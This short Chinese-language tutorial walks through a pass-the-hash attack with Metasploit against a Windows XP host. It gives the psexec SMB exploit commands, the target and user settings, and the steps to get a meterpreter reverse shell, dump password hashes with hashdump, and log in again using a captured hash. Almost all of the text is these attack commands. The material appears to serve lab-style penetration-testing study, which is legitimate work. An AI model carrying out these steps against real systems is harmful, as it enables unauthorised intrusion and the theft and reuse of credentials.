Metasploit之Hash值传递渗透

Metasploit之Hash值传递渗透
参考文献：http://netsecurity.51cto.com/art/201009/227795.htm

这里的案例是针对XP系统的
进入metasploit环境下进行操作

use exploit/windows/smb/psexec    -->使用这个渗透攻击模块

show options                      -->查看配置选项

set RHOST 192.168.2.107           -->设置攻击目标192.168.2.107，端口默认445

set SMBUser wing                  -->设置账号为wing

exploit                           -->执行攻击

成功后获得meterpreter的反弹连接

hashdump              -->获取hash值

使用hash值登陆

exit                  -->从meterpreter的反弹连接中返回到“msf exploit(psexec)>”

set smbpass hash值    -->设置hash值

exploit               -->再次登陆一遍